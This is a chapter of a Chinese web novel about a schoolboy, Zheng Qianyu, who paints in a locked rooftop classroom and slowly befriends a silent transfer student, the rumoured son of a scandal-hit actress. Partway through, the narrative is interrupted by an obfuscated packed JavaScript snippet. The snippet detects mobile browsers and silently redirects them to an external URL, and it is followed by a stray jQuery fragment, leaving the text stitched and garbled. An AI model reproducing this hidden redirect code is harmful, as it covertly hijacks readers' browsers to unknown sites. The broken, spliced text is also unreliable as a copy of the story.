“郑千玉……”
“郑千玉……！”
被叫到名字的人回过头，朋友勾上他的肩膀，道：“下课打球去吗？”
郑千玉摇摇头：“不了。”
天气很热，郑千玉刚买了冰的矿泉水，拧开瓶盖，喝了几口，他长呼了口气，抓着领口摆动，想再凉快一点。
“给我也喝一口。”
朋友伸手要拿他的水。
“不给……”
郑千玉把水拿远了一点，不让它被拿走。他的手臂又细又直，白得反着日光，没人敢和他硬抢。
郑千玉长得很好，看上去很是干净漂亮，当他展露出洁癖或挑剔的一面，显得非常理所当然。
他踏在我行我素的边界上，用一张脸提升了别人对他的包容度。
郑千玉身高不算太高，胜在肢体灵活，在球场上气势也足，是个优秀的后卫。
但他最近不喜欢打球了，让以前经常一起打球的朋友有些纳闷。
郑千玉说他要去画画了。
“画画？画漫画吗？”
朋友这么问他。
郑千玉摇摇头：“和漫画不一样。”
朋友最终也没有理解他在画什么、为什么要画画。就像在球场上一样，郑千玉有自己的目标，对于要做什么他很明确，几乎不会被人干扰。
脱离一个主流的小圈子，不再引人注目也是，这对郑千玉来说连割舍都算不上。
他不去打球了。
旧的教学楼顶层是空置的，只是上了锁。郑千玉背着包，站到门口。他用两指夹着黑色的一字夹，伸进钥匙孔里，很轻巧地把锁打开了。
楼顶有风，每次打开这扇门，风就会横穿窗户扑面而来。
郑千玉很喜欢这个时刻。
教室里没什么人来，桌椅靠墙，中间空出。郑千玉在这里藏了他的画板，几乎每天放学都会来。
他还没有报班专门学过画画，只在书店买过素描入门，对着开始学打框架和光影理解。
郑千玉觉得画画是愉快的、有趣的。
他可以不厌其烦地画同一个几何体，每翻过一页，郑千玉可以看出自己画得更好，也可以看出哪里还需要补足，应用到下一个画面里。
每件事对郑千玉来说都是有乐趣的，当下，画得更好对他来说就是最有趣的事情。
就这么画了一个学期，郑千玉从石膏过度到人体，周末去了有老师的画室，开始画速写。
初二下学期，郑千玉仍旧画画。年级里来了一个特殊的转学生，到处都有人议论他。
但郑千玉两耳不闻窗外事，没有细听。
开学一个月之后，郑千玉像往常一样走到顶楼，本能地伸手要去撬锁，低头一看，门锁是开的。
郑千玉很意外，他轻轻推开门，发现自己的画板还立在原地，先松了口气。
这学期郑千玉跟乔迁一样，在这里放了很多画画的东西，把石膏人头静物之类的摆在桌上，不知道的还以为在这里供什么东西。
郑千玉先确认了自己的东西还在，才用眼睛去环顾后面。靠墙角的一套桌椅被拉开，有个人正好填在墙角，像鬼一样。
把郑千玉吓得一激灵。
那个鬼也抬头看郑千玉，很意外的，他有副好面孔。郑千玉研究了一阵子头骨的结构，他站在门口，离这个鬼并不近，也能看出这个鬼长了一颗端正立体的头。
郑千玉平复了心情，他是很擅长和别人相处的，也很乐于和长得好看的人相处，这对他的眼睛来说是一种美的享受。
于是他率先开口：“你也会开锁？”
他的语气是很轻松的，有种拉拢共犯的意思，表示自己也是开锁进来的，想消解对方的防备和紧张。
对方并不接话，沉默得像聋了一样。
郑千玉往前走了几步，道：“我叫郑千玉，你叫什么名字？”
“……”
这一天直到结束，郑千玉都没听到这个头骨姣好之鬼吭过声。
也就不知道他的名字。
不过，郑千玉已经在这个教室画了一个多学期，这里从来没有不速之客。他也不认为自己该把这块地盘让出来，不管对方是人是鬼。
沟通无果，郑千玉走到自己的画板前坐下来，戴上耳机，继续画自己的画。
他画画很沉浸，等到天黑，郑千玉摘下耳机，那个人已经不见了。
真的很像鬼。郑千玉心想。
这种日子持续了一个星期。
下课后，郑千玉每次去顶楼，那个人必然比他早到。郑千玉知道他不会和自己说话之后，就没再尝试和他交流，顶多在开门看见他之后发出一声“哦”，表示“你来了啊”。
这个怪人也不干坐，会在自己本子上写写画画，像在做题。郑千玉来了一定是画画，此人安静得好像语言功能都退化，对他没有丝毫干扰。
两人平静地共处一室。
周一的时候，郑千玉和朋友在教学楼底下等着去操场上体育课，迎面碰见他。
郑千玉愣了一下，从来没在顶楼以外的地方遇到这个人，感觉他像顶楼空教室里的地缚灵。
只要可以画画，郑千玉并不怕鬼。
擦肩而过之后，郑千玉捅捅朋友：“你认识那个人吗？”
“他啊，名人，你不知道吗？”
郑千玉摇摇头：“我们学校还有名人？”
朋友咂咂嘴：“他是这个学期才转过来的嘛。”
郑千玉来了兴趣：“他是什么名人？”
朋友：“传好久了，你没听过吗？”他凑到郑千玉耳旁，“他是阮馨的儿子。”
郑千玉听到这个名字，一下子没反应过来，问：“谁？”
朋友急得在空气里写这个名字的笔画。
等郑千玉知道准确的字，他才恍然大悟。
阮馨的确是个名人。几乎所有人都在暑期档看过她的代表作，红极一时的女明星，以前的经典作品一直在央台轮播。
但其实阮馨十几年前就因为感情丑闻隐退了，传闻她插足了某富商的家庭，怀了个孩子，从此隐匿无踪。
“所以说，刚才那个人……”郑千玉很迟疑地把那个沉默的鬼和传闻联系起来。
“就是阮馨当时做小三生的孩子嘛。他这个学期才转过来的，到处都有人拍他。”朋友道，“学校外面还有狗仔蹲他呢。”
郑千玉：“可是……这件事不是已经过去很久了吗？”
朋友“啧啧”了两下，说：“他爸爸现在也很有名啊，首富，很多人都说阮馨攀了这么多年没攀上，他爹也不认这个儿子。”
郑千玉有些哑口无言。
这一天下课，郑千玉上了顶楼，打开门，林静松还是坐在那里。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15474821|169918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他现在知道他的名字了。
他是躲在这里的吗？郑千玉心想，很多人议论他，偷拍他的照片，还有人下课跟踪他。
郑千玉无法想象这样的生活。
也许是因为郑千玉这次在门口站得有点久，林静松抬头看了他一眼，两人对视了一下。
这是他们第一次有眼神交流，林静松那一眼似乎很警惕，很防备郑千玉一样。
阮馨在荧幕上以貌美闻名，她的眉眼为人称道，古典之中带着凌厉。林静松很大程度遗传了母亲的样貌，但这似乎是一种诅咒，他越像母亲，越被人注意、议论和比较，翻来覆去地重提那些陈年旧事。
郑千玉走进教室，像往常一样，他没有说话，坐下来，面对崭新的画布。
他最近开始尝试油画，就连调色的过程对郑千玉来说都相当美妙。
美妙到即使他刚知道眼前这个人震撼人心的身份，也无暇探究，只想尽快拿起画笔，沉浸到这快乐之中。
郑千玉戴上耳机，很快把那些事情抛到脑后，继续他的作画。
又这么过去了半个多月。
大概是因为郑千玉从未对林静松展露出过多的好奇，两个人顺利地无言共处。
郑千玉觉得林静松是值得同情的。他愿意友善地与人相处，对于林静松来说，沉默或许就是最大的友善。
盛夏天气多变，郑千玉刚下课走到楼下，天非常阴沉。他伸手去接雨水，似乎还没有下雨。
等他踏上两道台阶，雨突然泼了下来。郑千玉激灵了一下，往后一看，外面的景象已经蒙上一层白色，大雨下得水花四溅，几乎打到他的裤脚。
不好。
郑千玉昨天刚画的画，为了风干颜料，郑千玉把画架挪到窗边，这么大的雨，窗边的画肯定要完了。
他一步跨上两个台阶，气喘吁吁地跑上楼，到了顶层，远远看见门在狂风中开合。郑千玉跑过去，推开门，天光灰暗，窗外是闪电和暴雨。
雨水用力地溅入教室，甚至倾斜着打湿了窗边的桌椅。郑千玉喘着粗气，看到林静松的背影。
他的身体微微起伏着，手里抓着郑千玉的画架，肩膀湿了一片。
郑千玉慢慢走进去，昏暗的光线里，林静松听到他的脚步声，侧过身把头转过来，看向郑千玉。
随后，他动作很谨慎地把画架放回地上，是郑千玉平时坐着的那个地方。郑千玉昨天画的画完好无损，色彩依旧鲜艳。
这场急雨来得暴烈，但收势很快，没过几分钟，雨声变得淅沥，将停未停。
但半个教室都被这场雨泼湿，他们今天没法在这里继续待了。
郑千玉转身出去，对面有一个小的工具间，他拿出拖布，把抹布抛给林静松，把地板和桌上的雨水清理干净。
这毕竟是他们的秘密基地。
清理完之后，郑千玉把画架放回去，那是一幅画着阴天的油画，郑千玉刚开始尝试，就着夏天这样多变的天气，记录下了其中的一瞬间。
“林静松。”
郑千玉叫他的名字。
“谢谢你。
“雨停之后，一起去看电影吗？”
他很自然地发出邀请。
那既不显得轻佻，更不显得生疏、笨拙。只是以一个新朋友的姿态。
林静松沉默了很久。
昏暗之中，他点了点头。